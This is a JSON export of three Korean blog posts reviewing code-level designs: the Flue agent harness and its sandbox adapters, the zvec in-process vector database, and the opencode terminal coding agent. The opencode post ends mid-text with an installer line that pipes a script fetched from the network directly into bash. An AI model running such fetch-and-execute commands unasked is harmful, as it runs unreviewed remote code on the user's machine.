[{"content":"LLM API를 직접 호출해 만든 1세대 에이전트는 챗봇이나 단순 스크립트 수준에 머물렀다. 반면 Claude Code나 Codex 같은 도구는 사전 정의된 절차를 따르지 않는다. 과제를 주면 제공된 컨텍스트와 도구로 스스로 완수한다. Flue는 이 아키텍처를 누구나 만들 수 있게 하는 것을 목표로 한다. agents/와 workflows/ 디렉터리의 TypeScript 프로젝트를 받아 배포 가능한 서버 아티팩트로 컴파일한다.\nFlue가 스스로를 규정하는 첫 문장은 \u0026ldquo;Not another SDK\u0026quot;다. LangChain 같은 체인 조립 SDK가 아니라 \u0026ldquo;프로그래머블 TypeScript 하니스\u0026quot;라는 것이다. 그런데 코드를 열어 보면 두 가지 반전이 있다. 레포 설명은 \u0026ldquo;sandbox agent framework\u0026quot;인데 Flue 자체는 격리 샌드박스를 구현하지 않고, 에이전트 루프도 직접 만들지 않는다. 둘 다 외부에 위임하고, Flue는 그 위에 하니스·배포·영속성·통합 레이어를 얹는다. 이 구조를 정확히 이해하는 게 Flue를 이해하는 핵심이다.\n분석 대상은 @flue/runtime@1.0.0-beta.2(Apache-2.0). 아직 1.0 이전 베타다.\n무엇을 푸는가 Flue는 \u0026ldquo;자율 에이전트에게 필요한 환경\u0026quot;을 TypeScript 하니스로 제공한다. 세션, 도구, 스킬, 지시문, 파일시스템 접근, 그리고 (이름상의) 보안 샌드박스. 개발자는 파일 규약을 따른다. agents/\u0026lt;name\u0026gt;.ts는 주소 지정 가능한 에이전트가 되어 POST /agents/\u0026lt;name\u0026gt;/:id로 노출되고 세션이 지속된다. workflows/\u0026lt;name\u0026gt;.ts는 입력에서 결과로 끝나는 유한 작업이 된다.\n용어 계층 Flue의 추상화는 명확한 계층을 이룬다.\nAgent profile — 재사용 가능한 defineAgentProfile(...) 값 Created agent — createAgent(...)가 반환하는 런타임 초기화자 Agent module — agents/\u0026lt;name\u0026gt;.ts; 파일명이 에이전트 이름 └─ Harness — init()이 반환하는 초기화된 에이전트 환경 └─ Session — harness.session(name?); 대화 컨텍스트 단위 └─ Operation — prompt / skill / task / shell 한 번의 호출 └─ Turn — 내부 LLM 1회 왕복 Workflow — workflows/\u0026lt;name\u0026gt;.ts; run(...) export Agent: createAgent(initialize)가 모델·도구·스킬·지시문·샌드박스를 묶은 초기화자를 동결해 반환한다. 매번 하니스 초기화 시 실행되므로 1회용 생성자가 아니다. Session: 대화 컨텍스트를 유지하는 단위. 내부 Session 클래스는 외부로 절대 노출되지 않고, FlueSession facade만 사용자에게 전달된다. 1.0 전 API 안정화 의도다. Operation / Turn: Operation은 사용자가 호출하는 한 번(prompt/skill/task/shell), Turn은 그 안의 LLM 1회 왕복. Skill: 실행 능력이 아니라 재사용 가능한 지시문이다. agentskills.io 스펙을 따르는 SKILL.md 파일이며, 호출 시점에 전체 지시문을 컨텍스트로 지연 로딩한다(progressive disclosure). Tool: 애플리케이션 코드를 실행하는 타입드 액션. defineTool({name, description, parameters, execute})로 정의하고 파라미터는 valibot 스키마. Subagent: task 도구로 위임받는 자식 에이전트. 부모 대화에는 최종 답만 반환한다. Workflow: 대화 없이 입력에서 결과로 끝나는 작업. 고유 runId를 받는다. 아키텍처 pnpm + Turbo 모노레포다. 패키지는 27개. 핵심은 다섯이다.\n패키지 역할 @flue/runtime 하니스, 세션, 도구, 샌드박스 (핵심) @flue/cli flue 바이너리. Vite로 배포 아티팩트 빌드 @flue/sdk 배포된 에이전트 소비용 클라이언트 영속성 어댑터 postgres / libsql / mysql / redis / mongodb 채널 통합 slack / discord / github / stripe 등 16개 이상 @flue/runtime 내부에서 실제 일이 벌어지는 곳은 두 파일이다. session.ts(약 2530줄)가 에이전트 루프 구동·이벤트 방출·영속화·컴팩션·task 위임을 담당하고, agent.ts는 이름과 달리 에이전트 클래스가 아니라 빌트인 도구 정의 파일이다(read/write/edit/bash/grep/glob/task). 이 둘을 혼동하기 쉽다.\n샌드박스의 실제 격리 수준 여기가 Flue에서 가장 오해하기 쉬운 부분이다. Flue는 프로세스 격리·컨테이너·VM·WASM을 직접 구현하지 않는다. \u0026ldquo;Sandbox\u0026quot;는 SessionEnv라는 단일 인터페이스(exec + 파일 연산)에 대한 어댑터 추상화이고, 실제 격리 수준은 선택한 어댑터에 달려 있다. 세 모드가 있다.\nVirtual (기본값): sandbox 필드를 생략하면 선택된다. just-bash 라이브러리 기반의 인메모리 워크스페이스로, bash 환경을 JS로 에뮬레이트한 가상 파일시스템이다. 진짜 OS 프로세스가 아니다. 문서가 한계를 명시한다. 호스트 파일 없음, 비영속, 임의의 Linux toolchain 아님, 그리고 결정적으로 네트워크 격리 경계가 아니다(virtual 샌드박스에서 네트워크 접근을 허용한다). 이름이 sandbox여도 신뢰 경계가 아니다.\nLocal (local()): 호스트 파일시스템과 셸에 직접 바인딩한다. exec는 node:child_process.spawn으로 실제 셸을 띄우고, 파일 연산은 node:fs/promises를 직접 호출한다. abort나 timeout 시 프로세스 그룹 전체를 SIGTERM 후 2초 뒤 SIGKILL로 종료해 백그라운드 자식까지 죽인다. 문서가 \u0026ldquo;모델이 지시한 작업과 호스트 머신 사이에 격리를 제공하지 않는다\u0026quot;고 명시한다. 신뢰된 호스트나 CI 러너 전용이다. 다만 보안 기본값은 보수적이다. 환경변수는 기본 allowlist(PATH/HOME/USER/LANG 등)만 통과하고, 토큰·시크릿은 local({ env: { GH_TOKEN: ... } })로 명시적으로 opt-in하지 않으면 모델 셸에 노출되지 않는다.\nRemote: Daytona, Cloudflare Sandbox(컨테이너), E2B, Modal, Vercel 등 외부 프로바이더를 SandboxApi로 래핑한다. 진짜 격리가 필요하면 이 경로를 써야 하고, 그 격리는 프로바이더 책임이다.\n정리하면 Flue의 가치는 \u0026ldquo;동일한 코드로 인메모리(virtual) → 호스트(local) → 원격 컨테이너(remote)를 전환\u0026quot;하는 어댑터 추상화에 있다. 하지만 \u0026ldquo;sandbox\u0026quot;라는 이름이 보안 격리를 보장한다고 오해하면 안 된다. 격리는 remote 어댑터를 쓰는 사용자의 몫이다.\n에이전트 루프와 도구 실제 루프 엔진은 Flue가 아니라 외부 패키지 @earendil-works/pi-agent-core의 Agent 클래스다. Session 생성자에서 new Agent({ initialState, getApiKey, streamFn, toolExecution: 'parallel' })로 띄운다. 모델 스트리밍은 @earendil-works/pi-ai의 streamSimple에 위임한다. 도구는 병렬 실행이다. Flue는 이 루프의 라이프사이클 이벤트(turn_start, tool_execution_start 등)를 구독해 자기 이벤트로 재방출하고 히스토리를 체크포인트한다.\n빌트인 도구는 Claude Code의 도구 셋을 닮았다. read(2000줄/50KB로 truncate), write, edit(유일 매칭 강제 치환), bash(2계층 timeout — 프로바이더 네이티브 + 로컬 AbortSignal backstop), grep(rg 우선 탐색 후 캐시), glob, task(자식 세션 위임, 깊이 제한 MAX_TASK_DEPTH=4). 세션은 한 번에 하나의 operation만 처리한다(SessionBusyError).\n흥미로운 패턴이 두 개 있다. 구조화 결과는 session.prompt(text, { result: schema })로 호출하면 그 호출 동안만 finish/give_up 두 도구를 주입한다. 모델이 plain text로 답하면 follow-up으로 도구 호출을 강제한다. \u0026ldquo;텍스트로 답하지 말고 구조화 도구를 호출하라\u0026quot;는 강제 패턴이다. 컴팩션은 토큰이 contextWindow - reserveTokens를 넘으면 오래된 메시지를 구조화 요약으로 치환하고, LLM이 context overflow를 반환하면 압축 후 자동 재시도한다.\nDurable Execution Flue가 경량 프레임워크치고 드물게 갖춘 강점이다. HTTP 프롬프트와 dispatch 입력을 SQL 기반 submission으로 영속화해 크래시와 재시작을 넘어 진행을 보존한다. 인터럽트된 도구 호출은 \u0026ldquo;interrupted\u0026rdquo; 에러 결과로 안전하게 복구한다(가짜 성공을 만들지 않는다). 부분 스트림 청크도 영속화 후 재구성한다. 기본값은 maxAttempts=10, timeoutMs=1시간, lease 30초다. 타깃 중립 인터페이스라 Node(node:sqlite), Cloudflare(DO SQLite), Postgres/MySQL이 같은 코드를 공유한다.\n사용법 import { createAgent, type FlueContext } from \u0026#39;@flue/runtime\u0026#39;; import * as v from \u0026#39;valibot\u0026#39;; const agent = createAgent(() =\u0026gt; ({ model: \u0026#39;anthropic/claude-sonnet-4-6\u0026#39; })); export async function run({ init }: FlueContext) { const harness = await init(agent); const session = await harness.session(); const response = await session.prompt(\u0026#39;What is 2 + 2? Return only the number.\u0026#39;, { result: v.object({ answer: v.number() }), // 구조화 결과 }); return response.data; } 주소 지정 에이전트는 sandbox: local(), skills: [...], tools: [...]를 묶어 default export하고 route 핸들러로 노출한다. 모델은 '\u0026lt;provider\u0026gt;/\u0026lt;model\u0026gt;' 문자열로 지정하고, registerProvider로 ollama 같은 로컬/게이트웨이 프로바이더까지 붙일 수 있다.\n강점과 한계 강점은 일관된 개발 경험(프로젝트를 배포 아티팩트로 컴파일), 샌드박스 어댑터로 dev→prod 전환이 코드 변경 최소, 강력한 durable execution, Claude Code를 닮은 빌트인 도구 셋, 16개 이상 채널과 다양한 영속성·관측 통합, 보수적 보안 기본값이다.\n한계는 분명하다. \u0026ldquo;sandbox\u0026quot;가 보안 격리를 보장하지 않는다(virtual은 네트워크 허용, local은 호스트 직접 접근). 핵심 루프가 비교적 알려지지 않은 외부 패키지에 결합돼 있다. 1.0 미만 베타라 breaking change가 잦다(도구 파라미터가 TypeBox에서 valibot으로 바뀌는 등). 멀티에이전트는 단방향 task 위임뿐이고, AutoGen식 다자 대화는 1급 개념이 아니다.\n차별점 LangChain/LangGraph는 체인·그래프로 LLM 호출을 조립하는 SDK다. Flue는 \u0026ldquo;Not another SDK\u0026quot;를 명시하고, 미리 정의된 그래프 대신 모델에 샌드박스·도구·자율성을 주고 풀게 한다. Workflow가 LangGraph의 결정적 오케스트레이션에 가장 가까운 대응물이지만 노드 그래프가 아니라 그냥 TypeScript run() 함수다. 철학적으로 가장 가까운 것은 Claude Agent SDK다(자율 에이전트 + 코딩 도구 셋 + 샌드박스). 차이는 Flue가 모델·프로바이더 중립이고, 배포·HTTP·채널·durable execution을 프레임워크로 내장하며, TypeScript 모노레포 생태계라는 점이다.\n정리 Flue의 정체는 \u0026ldquo;프로젝트를 배포 서버로 컴파일하는 에이전트 하니스\u0026quot;다. 본질은 에이전트 루프(외부 pi-agent-core) 위에 세션·영속성·HTTP·통합·샌드박스 어댑터를 얹는 레이어다. 두 가지를 기억하면 된다. 첫째, \u0026ldquo;sandbox\u0026quot;는 어댑터 추상화일 뿐 격리는 어댑터가 책임진다. virtual과 local은 신뢰 경계가 아니다. 둘째, 자율성은 모델에 맡기고 결정성·관측성은 코드(Workflow와 durable execution)가 떠받친다. 아직 베타라 API는 유동적이다.\n","permalink":"https://charminggroot.github.io/posts/096-flue/","summary":"Flue는 agents/·workflows/ 디렉터리의 TypeScript 프로젝트를 배포 가능한 서버 아티팩트로 컴파일하는 에이전트 하니스다. \u0026lsquo;Not another SDK\u0026rsquo;를 표방하며 모델에 컨텍스트·도구·샌드박스를 주고 자율 실행시킨다. 다만 이름과 달리 격리 샌드박스를 직접 구현하지 않고, 에이전트 루프도 외부 패키지에 위임한다. 무엇을 제공하고 무엇을 위임하는지, 샌드박스 세 모드의 실제 격리 수준, durable execution까지 코드 레벨로 분해한다.","title":"096. Flue — 자율 에이전트를 배포 서버로 컴파일하는 하니스 프레임워크"},{"content":"RAG, 추천, 시맨틱 검색은 임베딩 벡터의 근사 최근접 이웃(ANN) 검색을 필요로 한다. 선택지는 보통 둘로 갈렸다. Faiss나 hnswlib 같은 순수 인덱스 라이브러리는 빠르지만 영속성·필터·CRUD가 없다. Milvus나 Qdrant 같은 서버형 벡터 DB는 기능이 풍부하지만 별도 프로세스를 띄우고 운영해야 한다. zvec은 그 사이를 메운다. 스키마·CRUD·WAL 영속성·필터·전문 검색·하이브리드 같은 DB 기능을 갖추되, 별도 서버 없이 애플리케이션 프로세스에 박혀 라이브러리로 동작한다.\n비유하면 SQLite의 벡터 DB 버전이다. 알리바바 그룹 내부 프로덕션에서 검증된 엔진을 오픈소스화한 것으로(Apache-2.0), 분석 시점 기준 v0.5.0이다.\nin-process가 무슨 뜻인가 코드로 확인되는 임베디드 모델의 근거는 명확하다. 진입점이 네트워크 클라이언트가 아니라 정적 팩토리 메서드 Collection::CreateAndOpen(path, schema, option)이고, Collection::Ptr(shared_ptr) 객체를 직접 반환한다. 데이터는 로컬 파일시스템 경로에 저장되고, 동시성은 RPC가 아니라 {path}/LOCK 파일락으로 조정된다. 다중 프로세스 읽기는 공유락, 쓰기는 단일 프로세스 배타락이다. 코드베이스 전체에 gRPC나 소켓, 서버 데몬이 없다. SQLite와 정확히 같은 배포 모델이다.\n핵심 개념 코드의 1급 개념은 type.h에 직접 정의돼 있다.\nIndexType: HNSW, IVF, FLAT, HNSW_RABITQ, DISKANN, VAMANA, INVERT(스칼라 역색인), FTS(전문 검색). 벡터 인덱스 6종에 스칼라·전문 검색을 더했다. MetricType: L2(유클리드), IP(내적), COSINE, MIPSL2(Maximum Inner Product를 L2로 환원). metric별 구현 파일이 따로 있다. QuantizeType: FP16, INT8, INT4, RABITQ. 메모리와 속도를 위한 벡터 압축. DataType: dense 벡터(FP16/FP32/FP64/INT4/INT8/BINARY 등)와 sparse 벡터(SPARSE_VECTOR_FP16/FP32)를 모두 지원한다. ANN(근사 최근접 이웃)은 정확한 최근접 탐색이 대규모에서 비싸므로 정확도를 약간 희생해 속도를 얻는 그래프·클러스터 기반 근사 검색이다. zvec은 FLAT(완전탐색, 정확)부터 HNSW·Vamana(그래프), IVF(클러스터), DiskANN(디스크 기반)까지 정확도·속도·메모리 트레이드오프의 전 스펙트럼을 제공한다.\n아키텍처 src/ 아래가 세 레이어 이상으로 나뉜다.\nailego/ — 저수준 토대 (math/SIMD, threadpool, mmap, container, hash) core/ — 벡터 인식 엔진: ANN 알고리즘 + metric + quantizer algorithm/ flat, hnsw, hnsw_rabitq, hnsw_sparse, ivf, vamana, diskann metric/ L2, IP, cosine, mips, quantized int8 quantizer/ fp16, int8, int4, binary, rabitq turbo/ — AVX-512 VNNI int8 거리 커널 (성능 핫패스) db/ — DB 레이어: collection, segment, storage(WAL), sqlengine, reranker binding/ — c (C API), python (pybind11) 빌드는 CMake(≥3.13, C++17)다. 산출물은 올인원 libzvec와 분리된 libzvec_ailego/libzvec_core 공유 라이브러리다. C++가 1급 시민이고 C API(c_api.cc, 약 243KB)가 Go·Rust·Dart FFI 바인딩의 기반이 된다. 공식 SDK는 Python, Node.js, Go, Rust, Dart/Flutter로 제공된다.\n중요한 함정: 빌드 옵션이 플랫폼을 게이팅한다. RaBitQ는 Linux x86_64 + AVX2/AVX-512에서만, DiskANN은 Linux x86_64 + libaio에서만 컴파일된다. macOS와 ARM에서는 둘 다 비활성이다. 즉 README의 \u0026ldquo;Runs Anywhere\u0026quot;는 기본 인덱스(FLAT/HNSW/IVF/Vamana) 기준이고, RaBitQ와 DiskANN은 리눅스 x86_64 전용이다.\nHNSW 검색은 코드에서 어떻게 도는가 주력 인덱스 HNSW를 코드로 따라가면 구조가 드러난다.\n레벨 생성은 Faiss 알고리즘을 명시적으로 차용한다. 1 / log(scaling_factor)로 level multiplier를 구하고 노드별 레벨을 지수 분포로 뽑는다(주석에 \u0026ldquo;refers faiss get_random_level alg\u0026rdquo;). 표준 HNSW 방식이다.\n삽입(add_node)은 SpinLock으로 진입점과 최대 레벨을 읽고, 최상위 레벨부터 노드 레벨까지 greedy descent로 진입점을 좁힌 뒤, 각 레벨에서 이웃 후보를 탐색해 역방향 링크까지 연결한다. 동시성은 전역 SpinMutex에 노드별 락풀 256개(kLockCnt = 1U\u0026lt;\u0026lt;8)를 더해 병렬 삽입을 지원한다.\n검색(search)은 진입점에서 상위 레벨을 greedy하게 내려오며 진입점을 좁히고, 레벨 0에서 beam search를 수행한다. 핫패스는 두 경로로 갈린다. fast_search_neighbors는 mmap/연속 메모리 저장에 직접 포인터로 접근하는 무필터 경로이고, dual_heap_search_neighbors는 후보 힙·top-k 힙·방문 필터를 쓰는 필터 검색 경로다. 디스패치는 저장 모드와 필터 유무로 결정된다. 무필터 mmap 경로에는 64바이트 캐시라인 단위 소프트웨어 프리페치가 들어간다.\n검색 후보 풀 자료구조(LinearPool, BlockHeap)는 NOTICE 파일에 따르면 pyglass(zilliztech, MIT)에서 차용·수정한 것이다. 완전한 from-scratch 구현은 아니고, 검증된 자료구조를 가져다 썼다.\n저장 모드는 세 가지다. mmap, buffer_pool, contiguous. use_contiguous_memory를 켜면 그래프 노드를 단일 연속 메모리 아레나에 할당해 캐시 지역성과 검색 처리량을 올리는 대신 피크 메모리가 늘어난다. 영속 데이터는 메모리맵 파일이 1차 저장 전략이다.\nSQL 엔진이 DB로 만든다 zvec을 단순 인덱스 라이브러리가 아닌 \u0026ldquo;DB\u0026quot;로 만드는 핵심 컴포넌트가 src/db/sqlengine/에 있다. ANTLR 기반 파서, analyzer, planner를 갖춘 본격 쿼리 엔진이다. SQLEngine::execute(schema, SearchQuery, segments)가 진입점이다. 벡터 검색·스칼라 필터·전문 검색을 SQL 유사 쿼리로 표현해 세그먼트들에 걸쳐 실행하고 최적화한다.\n\u0026ldquo;lightning-fast\u0026quot;의 근거 코드로 확인되는 성능 최적화는 다음과 같다.\nVNNI int8 커널(src/turbo/): AVX-512 VNNI _mm512_dpbusd_epi32 단일 명령으로 곱-누산을 처리하고, 4-way 독립 누산기로 의존성 체인을 분리한다. 단 이 가속은 uniform-quantized int8 경로가 핵심이고, record-quantized는 AVX2 _mm256_maddubs_epi16 경로다. \u0026ldquo;VNNI로 다 빠르다\u0026quot;는 부정확하다. 소프트웨어 프리페치: HNSW 검색에서 이웃 벡터를 캐시라인 단위로 선반입한다. 연속 메모리 아레나: 그래프 노드 단일 할당으로 캐시 지역성을 올린다. mmap 1차 저장 + huge-page 지원. 멀티스레딩: OpenMP가 아니라 자체 ThreadPool(std::thread 기반)을 쓰고, 리눅스에서 pthread_setaffinity_np로 CPU 코어를 바인딩해 NUMA 트래픽을 줄인다. Python 바인딩은 쿼리·삽입 시 GIL을 해제해 스레드별 동시 쿼리를 허용한다. 양자화: INT8/INT4/RaBitQ로 메모리 풋프린트와 거리 계산 비용을 동시에 절감한다. 다만 README의 \u0026ldquo;billions of vectors in milliseconds\u0026quot;나 QPS 그래프는 외부 벤치 문서 기반이며 코드만으로 검증할 수 없다. 인용한다면 어떤 양자화와 플랫폼인지 명시해야 한다.\n사용법 Python이 가장 간단하다. 스키마 정의 → create_and_open → insert(Doc 리스트) → query(VectorQuery, topk) 흐름이다.\nimport zvec schema = zvec.CollectionSchema( name=\u0026#34;example\u0026#34;, vectors=zvec.VectorSchema(\u0026#34;embedding\u0026#34;, zvec.DataType.VECTOR_FP32, 4), ) collection = zvec.create_and_open(path=\u0026#34;./zvec_example\u0026#34;, schema=schema) collection.insert([ zvec.Doc(id=\u0026#34;doc_1\u0026#34;, vectors={\u0026#34;embedding\u0026#34;: [0.1, 0.2, 0.3, 0.4]}), ]) results = collection.query( zvec.VectorQuery(\u0026#34;embedding\u0026#34;, vector=[0.4, 0.3, 0.3, 0.1]), topk=10) 하이브리드 검색은 문자열 필드에 FTS 인덱스를 붙이고 MultiQuery에 전문 검색 서브쿼리와 벡터 서브쿼리를 함께 넣어 reranker(기본 RRF, k=60)로 융합한다. 리랭커는 RRF/Weighted/Callback 세 종이다.\n강점과 한계 강점은 임베디드(서버 0개)이면서 풀 DB 기능을 갖춘 SQLite식 배포 단순함, WAL 기반 내구성, 6종 인덱스로 메모리↔디스크와 정확↔속도 전 스펙트럼 커버, dense+sparse+전문 검색을 단일 MultiQuery로 융합, 광범위한 SIMD/양자화/멀티스레딩 최적화, 다언어 SDK다.\n한계는 단일 프로세스 쓰기(다중 읽기는 되지만 쓰기는 단일 writer, 분산·고가용성 없음), 플랫폼 종속(RaBitQ·DiskANN은 리눅스 x86_64 전용), 분산 샤딩·복제 없음(임베디드라 당연하나 초대규모 수평 확장엔 부적합)이다. 코드에 \u0026ldquo;FtsClause currently bypasses validation (FTS not yet implemented)\u0026rdquo; 같은 잔재가 있어 영역별 성숙도가 다를 수 있다.\n차별점 항목 zvec Faiss / hnswlib Qdrant / Milvus pgvector 배포 모델 in-process 라이브러리 in-process 라이브러리 서버 Postgres 확장 DB 기능 있음 없음(순수 인덱스) 있음 있음 영속성/WAL 있음 거의 없음 있음 Postgres 의존 FTS·하이브리드 내장 없음 있음 확장 필요 운영 부담 없음 없음 높음 Postgres 운영 포지셔닝은 명확하다. Faiss/hnswlib의 임베디드성과 Qdrant/Milvus의 DB 기능성을 합치고 서버 운영 부담을 없앤 것이다. 가장 가까운 경쟁자는 같은 임베디드 벡터 DB인 LanceDB나 Chroma다. zvec의 차별점은 알리바바 프로덕션 검증, 본격 SQL 쿼리 플래너, 다양한 인덱스·양자화, 다언어 SDK다.\n정리 zvec은 \u0026ldquo;서버 없는 풀 기능 벡터 DB\u0026quot;라는 빈자리를 채운다. 본질은 검증된 ANN 알고리즘(HNSW는 Faiss 참조 + pyglass 자료구조)과 광범위한 SIMD·양자화 최적화 위에, ANTLR 기반 SQL 쿼리 플래너를 얹어 인덱스 라이브러리를 DB로 끌어올린 구조다. 도입할 때 두 가지를 기억하면 된다. RaBitQ·DiskANN은 리눅스 x86_64 전용이고, 쓰기는 단일 프로세스다. 단일 노드 임베디드 워크로드에는 강하지만 분산 확장은 설계 범위 밖이다.\n","permalink":"https://charminggroot.github.io/posts/097-zvec/","summary":"zvec은 애플리케이션 프로세스 안에 박혀 동작하는 임베디드 벡터 DB다. 서버 없이 라이브러리로 dense/sparse 벡터 검색, 전문 검색, 스칼라 필터를 하나의 쿼리로 결합한다. Faiss의 임베디드성과 Milvus의 DB 기능성 사이를 메운다. in-process가 무슨 뜻인지, 6종 인덱스와 HNSW 검색 코드 흐름, VNNI int8 커널 같은 성능 설계, 그리고 RaBitQ·DiskANN이 리눅스 전용이라는 함정까지 분해한다.","title":"097. zvec — SQLite처럼 임베드되는 in-process 벡터 데이터베이스"},{"content":"opencode는 터미널에서 동작하는 오픈소스 AI 코딩 에이전트다. 자연어 지시로 코드베이스를 읽고 수정하고 명령을 실행한다. 여기까지는 Claude Code나 Aider와 같다. 차별점은 두 가지다. 첫째, 특정 LLM 벤더에 종속되지 않고 수십 개 provider를 지원한다. 둘째, 단순 CLI가 아니라 클라이언트-서버 구조를 택했다. 에이전트 로직은 로컬 HTTP 서버(데몬)에서 돌고 TUI·데스크톱·웹은 그 서버의 클라이언트다.\n분석 대상은 anomalyco/opencode 버전 1.17.8(MIT, 기본 브랜치 dev), GitHub 스타 약 176k다. 두 가지 흔한 오해부터 바로잡는다. 소유 조직은 한때 SST 팀이었다가 anomalyco로 이전됐다. 그리고 TUI는 한때 Go + Bubbletea였으나 이 버전에서는 전부 TypeScript이고, TUI는 SolidJS + OpenTUI로 재작성됐다. \u0026ldquo;TypeScript + Go 혼합\u0026quot;은 이 버전에 해당하지 않는다.\n핵심 개념 코드에서 실제 쓰이는 추상화는 다음과 같다.\nSession: 대화 단위. 메시지·파트로 구성되고 SQLite에 영속화된다. ID는 ses_ prefix. Message / Part: 메시지는 user/assistant 역할. Part는 discriminated union이다. text, reasoning, tool, file, step-start, step-finish, snapshot, patch, agent, subtask, compaction 등. Agent: 권한·프롬프트·모델 설정을 묶은 프로필. 빌트인은 build(기본, 전체 권한), plan(읽기 전용, 편집 거부), general·explore(서브에이전트), compaction/title/summary(숨김 내부용)다. mode는 primary/subagent/all. Tool: Effect Schema 기반 입력/출력 + execute. Provider / Model: LLM 벤더 추상화. 카탈로그는 models.dev에서 동적 로드된다. Permission: allow/ask/deny 룰셋. 도구·리소스별 와일드카드 정책. Mode: build↔plan을 Tab키로 전환. 코드상으로는 agent와 거의 합쳐져 있다. 아키텍처 Bun workspaces + Turbo 모노레포다. 패키지는 25개. 주요한 것들이다.\n패키지 역할 opencode CLI 진입점 + V1 세션 런타임 (실제 프로덕션 에이전트 루프) core 도메인 로직: tool/provider/permission/session/storage. V1+V2 공존 llm 자체 LLM 프로토콜 어댑터(Anthropic Messages, OpenAI Chat/Responses, Gemini 등). AI SDK 대안 tui SolidJS + OpenTUI 터미널 UI server Effect 기반 HTTP API (Hono + hono-openapi) sdk/js HTTP 클라이언트 SDK (자동 생성) desktop Electron 데스크톱 앱 배포본은 Bun으로 컴파일한 단일 바이너리다. bin/opencode는 플랫폼·아키텍처(AVX2 감지 포함)에 맞는 컴파일 바이너리를 찾아 spawn하는 Node 셸 스크립트다. CLI는 yargs 기반이고 서브커맨드가 23개다(run, serve, tui, mcp, agent, models, github, pr 등).\n클라이언트-서버 분리가 구조의 핵심이다. opencode를 인자 없이 실행하면 백그라운드 데몬 서버를 띄우고 TUI는 그 서버에 HTTP/SSE 클라이언트로 붙는다. 데몬이 없거나 비정상이면 serve --register를 detached로 spawn하고 ~/.opencode/server.json에 URL과 PID를 등록한다. 서버 API는 Effect HttpApi.make()로 agents/sessions/messages/models/providers/events 핸들러를 조립하고, 이벤트는 GET /api/event SSE로 스트리밍된다. 이 구조 덕분에 TUI·데스크톱·웹·CI(github, pr 커맨드)가 모두 같은 서버 API를 공유한다.\nV1/V2 이중 런타임 opencode를 읽을 때 가장 중요한 사실이다. 코드에 두 런타임이 공존한다. V1(레거시이지만 현역)과 V2(Effect 기반 신규, 마이그레이션 중)다.\n실제 프로덕션 에이전트 루프는 V1이다. packages/opencode/src/session/prompt.ts(1722줄)에 있다. V2의 SessionRunner는 인터페이스만 정의된 단계이고 실행체는 비어 있다. CONTEXT.md와 AGENTS.md의 \u0026ldquo;V2 Session Core\u0026quot;는 진행 중인 재설계 명세이며, event-v2-bridge.ts가 V1과 V2 이벤트를 이중 기록한다(주석에 \u0026ldquo;Temporary dual-write while migrating\u0026rdquo;). 코드를 볼 때 둘을 혼동하면 안 된다.\n에이전트 루프 V1의 runLoop은 while (true) 루프로 다음을 반복한다.\n종료 판정: 마지막 assistant의 finish가 tool-calls가 아니고 미처리 tool call이 없으면 탈출한다. 일부 provider가 tool call이 있어도 stop을 주는 문제를 보정한다. step 카운트. step 1에서 세션 제목 자동 생성을 fork한다. subtask 분기(서브에이전트 호출)와 compaction 분기(히스토리 압축). 오버플로 자동 압축: 컨텍스트가 넘치면 auto compaction을 생성한다. maxSteps: 마지막 step이면 max-steps.txt 프롬프트를 주입해 텍스트 응답을 강제한다. system reminder 주입: step\u0026gt;1에서 중간에 들어온 user 메시지를 \u0026lt;system-reminder\u0026gt;로 감싼다. Claude Code의 패턴과 동일하다. 도구 해석: agent 권한·MCP·플러그인을 반영해 이번 턴 도구 세트를 결정한다. 시스템 프롬프트 조립: env + 지시문(AGENTS.md) + skills. LLM 호출: processor가 스트림을 소비한다. LLM 통합: 두 층 벤더 중립이 어떻게 구현되는지가 여기 있다.\n기본 경로는 Vercel AI SDK streamText다. provider별 @ai-sdk/* 패키지(anthropic, openai, google, bedrock, azure, mistral, groq, cohere, xai, openrouter 등 20개 이상)를 동적 로드한다. wrapLanguageModel로 미들웨어를 끼워 메시지를 provider별로 변환하고, experimental_repairToolCall로 잘못된 tool call을 복구한다.\n실험적 native 경로는 자체 @opencode-ai/llm 패키지다. provider별 HTTP를 직접 다루는 프로토콜 어댑터로, Anthropic Messages(845줄), OpenAI Responses(1004줄), Gemini, Bedrock Converse를 Effect Schema로 정의한다(Anthropic의 cache_control, thinking, tool_use 블록까지). experimentalNativeLlm 플래그가 켜지면 이 경로를 쓰고 미지원이면 AI SDK로 폴백한다. 두 경로 모두 동일한 LLMEvent 스트림으로 정규화된다.\n모델 카탈로그는 models.dev API에서 동적 로드된다(5분 TTL 캐시, flock으로 프로세스간 잠금, 임베디드 스냅샷 폴백). provider는 잘 알려진 것은 빠른 경로를 쓰고 없으면 on-demand로 npm 설치한다. 모델별로 시스템 프롬프트가 갈리고(claude → anthropic.txt, gpt → gpt.txt, gemini → gemini.txt 등), reasoning effort도 provider별로 변형된다(Anthropic은 thinking.budgetTokens, OpenAI는 reasoningEffort, Gemini는 thinkingLevel).\n인증은 OAuth / API key / WellKnown 세 종이다. ~/.opencode/data/auth.json에 0600 권한으로 저장하고, env → 저장된 credential → config → provider 기본값 순으로 해석한다. GitHub Copilot, AWS Bedrock, Google Vertex 같은 엔터프라이즈 인증을 풍부하게 처리한다.\n도구와 권한 도구는 Tool.make({ description, input, output, execute })로 정의한다. 입력/출력은 Effect Schema이고 JSON Schema로 자동 변환해 LLM에 노출한다. 빌트인은 bash, read, write, edit, apply_patch, glob, grep, webfetch, websearch, question, skill, todowrite다. bash는 timeout 기본 2분/최대 10분, 출력 1MB 캡이다.\n권한은 allow/ask/deny 세 종이고 와일드카드로 매칭하며 기본 폴백은 가장 안전한 ask다. 각 도구가 실행 시점에 permission.assert로 검사한다. agent별 기본 권한이 다르다. build는 question/plan_enter를 허용하고, plan은 모든 편집을 deny하되 .opencode/plans/*.md만 허용하며, explore는 전부 deny한 뒤 grep/glob/bash/read/webfetch/websearch만 허용한다. 세션은 SQLite + Drizzle ORM으로 영속화하고, snapshot/patch part로 파일 변경 이력을 보존해 되돌리기를 지원한다.\n설계 결정과 트레이드오프 전면 TypeScript + Bun: 패키지 매니저와 런타임이 Bun이고 배포는 Bun 컴파일 단일 바이너리다. JS 생태계(AI SDK 등) 활용이 강점, Go 대비 시작 비용·배포 크기(17M 패키지)가 트레이드오프다. Effect 전면 채택: core 전체가 Effect 기반이다(Schema, Layer DI, Stream). 강타입·합성성이 장점, 가파른 러닝 커브가 단점이다. 클라이언트-서버 분리: 헤드리스·원격·CI를 가능하게 한다. V1→V2 점진 마이그레이션: 현역 V1 루프를 유지하면서 Effect 기반 V2를 병행 구축하고 dual-write 브리지로 전환 중이다. 사용법 curl -fsSL https://opencode.ai/install | bash # 또는 npm i -g 